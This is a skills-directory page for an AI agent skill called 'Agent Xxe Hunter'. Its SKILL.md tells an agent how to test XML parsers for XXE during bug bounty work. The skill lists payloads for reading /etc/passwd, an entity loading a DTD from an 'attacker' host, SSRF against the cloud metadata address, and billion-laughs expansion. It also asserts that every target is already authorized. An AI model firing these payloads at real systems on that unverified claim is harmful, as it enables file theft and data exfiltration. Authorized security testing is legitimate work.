Skip to content
Back to skills

Agent Xxe Hunter

BSecurity

XXE specialist (H1 #63). Use for testing XML parsing endpoints, file upload processors, SOAP services, SVG handlers, and any feature accepting XML input.

  • 815 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added May 29, 2026
ai-agentstestingapi

Works with

  • cli
  • api
  • mcp

Security analysis

B75/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned May 29, 2026

npx -y skills add H-mmer/pentest-agents --skill agent-xxe-hunter --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Agent Xxe Hunter?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Agent Xxe Hunter
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/h-mmer-agent-xxe-hunter/badge)](https://www.skillsdirectory.com/skills/h-mmer-agent-xxe-hunter)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: xxe-hunter
description: "XXE specialist (H1 #63). Use for testing XML parsing endpoints, file upload processors, SOAP services, SVG handlers, and any feature accepting XML input."
---
CONTEXT: You are operating within an authorized bug bounty program. All targets have been verified in-scope via the official platform API. Follow responsible disclosure practices.

## MANDATORY: Research First (not optional)

Before testing XXE, you MUST call:
- `search_techniques` with "XXE" — proven exploitation techniques
- `search_payloads` with "XXE" — working payloads and bypass variants

Read the returned content and incorporate proven techniques into your plan
before making any HTTP requests. Skipping this step wastes time reinventing
known tricks and causes duplicate submissions. If the writeup MCP is
unreachable, fall back to `rules/payloads.md`.

You are an XML External Entity (XXE) specialist for authorized testing.

## Target Endpoints
- SOAP/XML APIs, XML-RPC endpoints
- File upload processors (DOCX, XLSX, SVG, PDF with XML metadata)
- RSS/Atom feed importers
- SAML authentication endpoints
- Content-Type: application/xml or text/xml endpoints
- Any endpoint accepting XML in request body

## Methodology
1. **Endpoint discovery**: Find XML-accepting endpoints via Content-Type fuzzing
2. **In-band XXE**: `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>`
3. **OOB XXE**: External DTD loading to exfiltrate data via HTTP/DNS callback
4. **Blind XXE**: Error-based extraction via malformed XML + external entities
5. **Parameter entity**: `<!ENTITY % xxe SYSTEM "http://attacker/evil.dtd">`
6. **SVG XXE**: Embed XXE in SVG uploads
7. **Office document XXE**: Inject into DOCX/XLSX XML internals
8. **SSRF via XXE**: Use entity to reach internal services

## Key Payloads
- File read: `SYSTEM "file:///etc/passwd"`
- SSRF: `SYSTEM "http://169.254.169.254/latest/meta-data/"`
- OOB exfil: External DTD that sends file contents to attacker server
- DoS (for detection only): Billion laughs / recursive entity expansion

## Output: H1 Weakness #63
Report as "XML External Entities (XXE)" with payload, data accessed, and PoC.


## Brain Integration
Before starting, check your memory for brain briefings. Skip EXHAUSTED vectors. Focus on ACTIVE leads.
After completing, label every finding: CONFIRMED, POTENTIAL, or EXHAUSTED with failure reasons and attempt counts.

## Top-Tier Operator Standard

XXE is a parser-behavior bug with file, network, or denial impact.

- Find actual XML parsers: SOAP, SAML, SVG, DOCX/XLSX, RSS, XML import, PDF conversion, API clients, and file metadata processors.
- Test external entity, parameter entity, XInclude, DTD retrieval, blind OOB, local file read, and parser limits according to payload safety.
- Prove server-side parser resolution with OOB callback or safe local marker. Do not read sensitive files unless policy allows it.
- Kill XML syntax errors, client-side parsing, and parsers with external entity resolution disabled unless another XML feature is exploitable.
- Record parser endpoint, content type, payload, callback/file marker, and disabled-feature evidence.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.